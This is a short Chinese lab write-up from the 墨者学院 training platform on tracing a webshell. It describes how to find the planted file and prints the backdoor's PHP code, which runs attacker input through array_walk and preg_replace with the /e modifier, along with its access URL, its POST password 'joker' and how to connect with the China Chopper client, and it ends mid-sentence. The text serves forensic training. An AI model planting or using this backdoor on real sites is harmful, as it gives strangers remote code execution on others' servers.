墨者学院 - WebShell代码分析溯源(第8题)

审查代码

1、先找到黑页所在目录，观察同层级的其他文件命名和修改时间，选中可疑文件审计代码
2、没有新的发现，就去目录查找，根据最后的修改时间排查。

C:\Users\BayernChenTutu\Desktop\www_bak\fields\class-wp-rest-comment-meta-style.php

 

<?php
   error_reporting(0);
   $e = $_REQUEST['e'];
   $arr = array($_POST['joker'] => '|.*|e',);
   array_walk($arr, $e, '');
?>

用法: http://www.xxx.com/8.php?e=preg_replace

浏览器提交POST：joker=phpinfo();

菜刀连接用法: http://www.xxx.com/8.php?e=preg_replace

密码：joker

详解：这个后门可以在php5.3下使用，array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中，数组的键名和键值是参数。至于我们为什幺要传一个preg_replace